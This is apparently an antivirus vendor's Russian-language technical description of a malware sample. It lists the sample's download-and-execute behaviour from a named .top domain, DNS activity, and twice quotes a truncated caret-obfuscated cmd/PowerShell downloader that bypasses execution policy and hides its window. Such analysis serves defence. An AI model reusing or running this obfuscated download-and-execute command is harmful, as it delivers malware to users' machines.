Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poWE^R^sHEL^l.E^xe -^E^x^EcU^TIoN^Pol^IC^y ^BY^pA^S^S^ -NOPR^ofI^LE^ ^-^wiNd^oW^ST^Yl^e H^i^DD^En (NE^w^-OB^jE^c^T ^sYST^EM^.neT.wE^BC^L^i^E^nt).D^o^w^NlO^aDFIlE('http://www....
Сетевая активность
UDP
- DNS ASK zo###opesa.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poWE^R^sHEL^l.E^xe -^E^x^EcU^TIoN^Pol^IC^y ^BY^pA^S^S^ -NOPR^ofI^LE^ ^-^wiNd^oW^ST^Yl^e H^i^DD^En (NE^w^-OB^jE^c^T ^sYST^EM^.neT.wE^BC^L^i^E^nt).D^o^w^NlO^aDFIlE('http://www....' (со скрытым окном)
